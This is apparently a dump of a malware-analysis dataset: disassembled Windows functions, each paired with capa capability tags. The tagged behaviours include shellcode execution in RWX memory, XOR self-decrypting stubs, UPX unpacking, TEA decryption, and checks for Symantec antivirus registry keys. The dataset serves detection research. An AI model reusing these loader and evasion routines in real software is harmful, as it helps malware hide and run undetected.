joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005927
Capabilities:
Create thread
Terminate thread

Disassembly:
push 8
push 0x1002c7a0
call fcn.10013d40
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0xc], 1
jne 0x10005a09
mov esi, dword [ebp + 8]
mov dword [0x100316b4], esi
mov ecx, esi
call fcn.100058a7
mov bl, al
call fcn.10007382
test al, al
je 0x1000597a
call fcn.1000735f
test al, al
je 0x1000597a
call fcn.1000760d
movzx eax, bl
mov dword [ebp - 4], 0xfffffffe
jmp 0x10005a4b
call fcn.10004d7c
call fcn.100054e5
test al, al
jne 0x10005a42
call fcn.100057f1
test eax, eax
setne dl
mov ecx, dword [0x100316a0]
cmp ecx, 3
jne 0x100059d4
cmp eax, 1
jne 0x100059d4
test bl, bl
jne 0x100059d4
call fcn.1000562d
push 0x100316ac
push edi
push esi
push 0x10005756
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100316b0], eax
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x10005a4b
test dl, dl
je 0x10005a42
cmp ecx, 2
jne 0x100059ea
call fcn.10006b30
neg al
sbb al, al
inc al
jmp 0x100059f7
mov eax, dword fs:[0x30]
mov al, byte [eax + 0x28]
shr al, 1
and al, 1
test al, al
je 0x10005a02
call fcn.10006e18
jmp 0x10005a42
call fcn.1000562d
jmp 0x10005a42
cmp dword [ebp + 0xc], 0
jne 0x10005a42
cmp dword [0x100316b0], 0
je 0x10005a42
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x100316ac], eax
je 0x10005a42
push edi
push dword [0x100316b0]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x100316b0], edi
jmp 0x10005a42
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
call fcn.10013d85
ret 0xc
Function at 0x10006a3d
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x1002f178]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x10006b1c
push 6
pop ecx
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
or eax, 0xffffffff
mov dword [esp + 0x38], 0x1c
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Thread32First]
jmp 0x10006b11
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x44], eax
jne 0x10006b05
push dword [esp + 0x40]
push 0
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10006b05
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
test eax, eax
je 0x10006afe
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x1c], eax
ja 0x10006afe
jb 0x10006aea
mov eax, dword [esp + 0x14]
cmp dword [esp + 0x18], eax
jae 0x10006afe
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10006a95
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x54]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000f1ac
mov esp, ebp
pop ebp
ret
Function at 0x10006e18
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10023179
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x1002f178]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push esi
push edi
mov eax, dword [0x1002f178]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
and edi, 0xfffff000
mov ecx, dword [edi + 0x3c]
mov esi, dword [ecx + edi + 0x28]
add esi, edi
mov ecx, esi
mov dword [esp + 0x24], esi
call fcn.10006ba7
test al, al
jne 0x10006fcc
lea ecx, [edi - 0x1000]
mov dword [esp + 0x1c], 1
lea eax, [edi + 0x1000]
mov dword [esp + 0x18], ecx
mov edx, 0x1000
mov edi, eax
push 4
push 0x3000
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x10006eee
push 4
push 0x3000
push 0x1000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x10006eee
mov eax, dword [esp + 0x1c]
mov edx, 0x1000
mov ecx, dword [esp + 0x18]
inc eax
sub ecx, edx
mov dword [esp + 0x1c], eax
add edi, edx
mov dword [esp + 0x18], ecx
cmp eax, 0x61a80
jb 0x10006e9a
jmp 0x10006fcc
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [esp + 0x28]
mov dword [ebx + 0x800], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebx + 0x808], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebx + 0x810], esi
mov dword [ebx + 0x820], eax
mov eax, dword [esi]
mov dword [ebx + 0x818], eax
mov al, byte [esi + 4]
mov byte [ebx + 0x81c], al
call fcn.10006cec
and dword [esp + 0x50], 0
cmp dword [eax + 0x14], 8
jb 0x10006f3c
mov eax, dword [eax]
push 0x104
push eax
lea eax, [ebx + 0x828]
push eax
call fcn.100105d3
add esp, 0xc
or dword [esp + 0x50], 0xffffffff
push 0
push 1
lea ecx, [esp + 0x30]
call fcn.10002c78
push 0x23
pop ecx
mov esi, 0x10030410
lea eax, [esp + 0x14]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
push eax
push 0x20
push 0x1000
movsw word es:[edi], word [esi]
and dword [esp + 0x20], 0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
call edi
test eax, eax
jne 0x10006f9f
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10006fcc
mov esi, dword [esp + 0x24]
lea eax, [esp + 0x14]
push eax
push 0x40
push 5
push esi
call edi
test eax, eax
je 0x10006f8f
sub ebx, esi
mov byte [esi], 0xe9
lea eax, [esp + 0x14]
sub ebx, 5
push eax
mov dword [esi + 1], ebx
push dword [esp + 0x18]
push 5
push esi
call edi
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.1000f1ac
mov esp, ebp
pop ebp
ret
Function at 0x10007f9f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, edx
push edi
mov edi, dword [0x100316b4]
test ebx, ebx
je 0x10008021
mov word [ebx], ax
mov eax, esi
shr eax, 4
and eax, 0xffff
push 6
inc eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
jne 0x10007fd7
xor eax, eax
jmp 0x10008021
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10007fd3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, eax
and esi, 0xf
jbe 0x10007ffd
movzx eax, word [ecx]
lea ecx, [ecx + eax*2]
add ecx, 2
dec esi
jne 0x10007ff1
movzx edi, word [ecx]
cmp edi, 0x104
jae 0x1000801f
lea esi, [edi + edi]
add ecx, 2
push esi
push ecx
push ebx
call fcn.100119b0
add esp, 0xc
xor eax, eax
mov word [esi + ebx], ax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10008595
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100085ee
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100085df
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x100085db
cmp esi, ecx
jae 0x100085df
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x100085cb
cmp esi, ecx
jb 0x100085e3
xor eax, eax
jmp 0x100085ed
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10009379
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x3c
mov eax, 0x100238ea
call fcn.10012153
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x30]
cmp dword [0x100328c4], 8
mov eax, 0x100328b0
push ecx
cmovae eax, dword [0x100328b0]
push 0x20219
push ebx
push eax
push 0x80000001
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x100093da
push 0x1002b100
mov ecx, esi
call fcn.100036b5
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], 1
jmp 0x100094dc
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x44], edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 4], 1
xor edx, edx
cmp dword [0x100329c4], 8
lea ecx, [ebp - 0x38]
push ecx
push edx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x38], edx
push ecx
mov eax, 0x100329b0
mov dword [ebp - 0x3c], edx
cmovae eax, dword [0x100329b0]
push edx
push eax
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100094be
cmp dword [ebp - 0x38], eax
je 0x100094be
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
shr eax, 1
dec eax
push eax
call fcn.10005a78
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x2c]
mov ecx, 0x100329b0
cmovae eax, dword [ebp - 0x2c]
cmp dword [0x100329c4], 8
push eax
cmovae ecx, dword [0x100329b0]
lea eax, [ebp - 0x3c]
push eax
push 0
push ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x100094b0
push 0x1002b100
mov ecx, esi
call fcn.100036b5
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x2c]
push 0
push eax
call fcn.10002c78
jmp 0x100094d1
push ecx
lea edx, [ebp - 0x2c]
mov ecx, esi
call fcn.1000619c
pop ecx
jmp 0x1000949a
push 0x1002b100
mov ecx, esi
call fcn.100036b5
mov dword [ebp - 0x34], 1
mov byte [ebp - 4], 0
test edi, edi
je 0x100094dc
push edi
call ebx
mov eax, esi
call fcn.10012102
ret
Function at 0x1000a6d1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x5c
mov eax, 0x10023dc0
call fcn.10012153
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x68], esi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x60], ebx
call fcn.100080f1
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x5c]
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
push 0x80000002
mov dword [ebp - 0x5c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x1000a736
push 0x100327f0
mov ecx, esi
call fcn.100028d6
mov dword [ebp - 0x60], 1
mov byte [ebp - 4], bl
push ebx
push 1
jmp 0x1000a7bb
xor eax, eax
mov dword [ebp - 0x64], 0x12
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
push eax
call fcn.1000a7cb
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 8
jb 0x1000a75f
mov eax, dword [eax]
lea ecx, [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x28]
push ecx
push ebx
push ebx
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
setne bl
mov byte [ebp - 4], 1
push 0
push 1
lea ecx, [ebp - 0x58]
call fcn.10002c78
test bl, bl
je 0x1000a7a3
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100327f0
mov ecx, esi
call fcn.100028d6
jmp 0x1000a7ae
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.100036b5
xor eax, eax
inc eax
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 0
push 0
push eax
lea ecx, [ebp - 0x40]
call fcn.10002c78
mov eax, esi
call fcn.10012102
ret
Function at 0x4013ff
Capabilities:
Open clipboard

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
push 1
mov esi, ecx
pop ebx
push 0x10
mov dword [esi + 8], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test eax, eax
pop ecx
mov dword [esi + 4], eax
je 0x401487
mov dword [eax], 0x400
mov eax, dword [esi + 4]
and dword [eax + 4], 0
mov eax, dword [esi + 4]
push dword [eax]
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [esi + 4]
mov dword [ecx + 8], eax
mov eax, dword [esi + 4]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x40147a
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 4]
push dword [esp + 0xc]
mov dword [ecx + 0xc], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401469
call dword [sym.imp.USER32.dll_EmptyClipboard]
jmp 0x401487
mov eax, dword [esi + 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esi + 4]
jmp 0x40147b
push eax
call fcn.0040fe7a
and dword [esi + 4], 0
pop ecx
xor ebx, ebx
mov eax, ebx
pop esi
pop ebx
ret 8

Function at 0x402346
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push 0x20019
push esi
push str.SoftwareSymantec
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402371
xor eax, eax
jmp 0x4023a9
lea eax, [ebp - 0xc]
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push str.DebugLog
push dword [ebp - 4]
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 8]
pop esi
leave
ret

Function at 0x4023ac
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x4104d3
call fcn.0040ff00
push ecx
push ecx
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x14], esi
mov byte [esi + 4], 0x2c
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov byte [esi + 0x10], al
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
lea ecx, [esi + 0x38]
mov dword [ebp - 4], ebx
mov dword [esi + 0x30], 1
mov byte [esi + 0x34], bl
call fcn.0040ee1e
push 0x10
lea eax, [esi + 0x20]
push ebx
push eax
mov dword [esi], 0x4114a8
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop esi
pop ebx
leave
ret
Function at 0x4023bc
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x4104d3
call fcn.0040ff00
push ecx
push ecx
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x14], esi
mov byte [esi + 4], 0x2c
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov byte [esi + 0x10], al
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
lea ecx, [esi + 0x38]
mov dword [ebp - 4], ebx
mov dword [esi + 0x30], 1
mov byte [esi + 0x34], bl
call fcn.0040ee1e
push 0x10
lea eax, [esi + 0x20]
push ebx
push eax
mov dword [esi], 0x4114a8
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop esi
pop ebx
leave
ret
Function at 0x40ae46
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x410b86
call fcn.0040ff00
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x10], esi
mov al, byte [edi]
lea ecx, [esi + 0x10]
mov byte [esi], al
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
lea eax, [edi + 0x10]
push eax
call fcn.0040b0d1
and dword [ebp - 4], 0
lea eax, [edi + 0x20]
push eax
lea ecx, [esi + 0x20]
call fcn.0040b314
add edi, 0x30
lea ecx, [esi + 0x30]
push edi
mov byte [ebp - 4], 1
call fcn.0040b314
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x40f483
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push ebx
push eax
xor ebx, ebx
push 0x20019
push ebx
push str.SoftwareSymantecInstalledApps
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f4ad
xor al, al
jmp 0x40f50b
push esi
lea eax, [ebp - 8]
push edi
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push ebx
push ebx
push str.CommonClient
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
mov edi, eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__mbsrchr]
pop ecx
pop ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_CharPrevA]
mov esi, eax
push 0x415dfc
push esi
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
jne 0x40f4fb
mov byte [esi], bl
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
pop edi
sete al
pop esi
pop ebx
leave
ret 4
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403e59
pop dword [ebp - 0x2c]
mov eax, 0x7c85cc9d
sub eax, 0x7c458e44
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x450612fd
sub dword [ebp - 0x3c], 0xf6b3cdb2
mov dword [ebp - 0x38], 0xdb2d3082
add dword [ebp - 0x38], 0x57061bc3
mov dword [ebp - 0x34], 0x6a54070a
add dword [ebp - 0x34], 0xe1f83d24
mov dword [ebp - 0x30], 0x227ccaa3
add dword [ebp - 0x30], 0xdd83355d
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x5a9d297a
sub eax, 0x5a5cb916
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xddc965e5
add dword [ebp - 0x3c], 0x96a90371
mov dword [ebp - 0x38], 0x3ffeb35e
add dword [ebp - 0x38], 0x16dae17
mov dword [ebp - 0x34], 0x9fdd14d5
add dword [ebp - 0x34], 0xc3925797
mov dword [ebp - 0x30], 0x555e99a0
add dword [ebp - 0x30], 0xaaa16660
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x35e1d
push 0
call eax
mov ecx, 0x448a
xor edx, edx
add edx, eax
mov esi, 0xae499fdb
add esi, 0x51f76025
add esi, dword [ebp - 0x2c]
mov ebx, 0x49d35787
add ebx, 0xcf3dc38b
xor dword [ebp - 0x18], 0x176ffb9a
mov edi, dword [esi]
add dword [ebp - 0x14], 0xf3e80474
xor edi, ebx
mov dword [edx], edi
xor dword [ebp - 0xc], esi
add edx, 4
add esi, 0x8533e211
add esi, 0x7acc1df3
loop 0x403f72
add eax, 0x299777a4
add eax, 0xd6698d57
xor ebx, ebx
add ebx, eax
add eax, 0xc05e1912
add eax, 0x3fa1e6f3
mov ecx, 0xf151d2a8
sub ecx, 0xf111d2a8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1199e70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x962000]
push edi
or ebp, 0xffffffff
jmp 0x1199e92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1199e99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1199e88
mov eax, 1
add ebx, ebx
jne 0x1199eab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1199ebc
jne 0x1199edb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1199edb
dec eax
add ebx, ebx
jne 0x1199ec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1199ea0
add ebx, ebx
jne 0x1199ed7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1199f2d
xor ecx, ecx
sub eax, 3
jb 0x1199ef3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1199f62
sar eax, 1
mov ebp, eax
jmp 0x1199efe
add ebx, ebx
jne 0x1199efe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1199ecc
inc ecx
add ebx, ebx
jne 0x1199f0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1199ecc
add ebx, ebx
jne 0x1199f19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1199f0e
jne 0x1199f2a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1199f0e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1199f4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1199f3e
jmp 0x1199e8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1199f4c
add edi, ecx
jmp 0x1199e8e
pop esi
mov edi, esi
mov ecx, 0x4780c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1199f6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1199f6f
lea edi, [esi + 0xd94000]
mov eax, dword [edi]
or eax, eax
je 0x1199fd7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xdee074]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xdee1c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1199f95
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xdee1cc]
or eax, eax
je 0x1199fd1
mov dword [ebx], eax
add ebx, 4
jmp 0x1199fb2
call dword [esi + 0xdee1d4]
mov ebp, dword [esi + 0xdee1d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x119a00b
sub esp, 0xffffff80
jmp 0xc28cc8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401207
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x4182e8]
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [0x4182ec]
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], eax
mov esi, dword [edi]
mov edx, dword [edi + 4]
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], edx
call fcn.00401200
mov ebx, dword [ebp - 0x18]
add ebx, 0x23f
cmp dword [0xec32e4], 0x14
jne 0x401265
push 0
lea eax, [ebp - 0x830]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov edx, dword [ebp - 0xc]
mov ecx, dword [0x4182f0]
mov eax, dword [0x4182f4]
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
pop edi
mov dword [ebp - 0x1c], 2
add dword [ebp - 0x1c], 3
mov eax, esi
mov dword [ebp - 0xc], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xec32e4], 0xfa9
mov dword [ebp - 8], eax
mov eax, dword [0xec32e0]
cmove eax, dword [ebp - 0xc]
and dword [ebp - 0xc], 0
cmp dword [0xec32e4], 0x3eb
mov dword [0xec32e0], eax
mov eax, dword [0xec3238]
cmove eax, dword [ebp - 0xc]
mov dword [0xec3238], eax
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 5
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
and dword [ebp - 0x10], 0
mov dword [0xec32dc], 0xf4ea3dee
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 4]
sub edx, eax
mov dword [ebp - 0x14], eax
mov eax, edx
mov dword [ebp - 0xc], edx
shl eax, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
lea eax, [ebx + edx]
and dword [ebp - 4], 0
mov dword [ebp - 0x18], eax
mov eax, edx
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor dword [ebp - 0x10], eax
cmp dword [0xec32e4], 0xb03
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
add ebx, 0x61c88647
mov ecx, dword [ebp - 0x24]
sub esi, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], esi
dec edi
jne 0x401279
mov edi, dword [ebp - 0x2c]
mov dword [edi], esi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret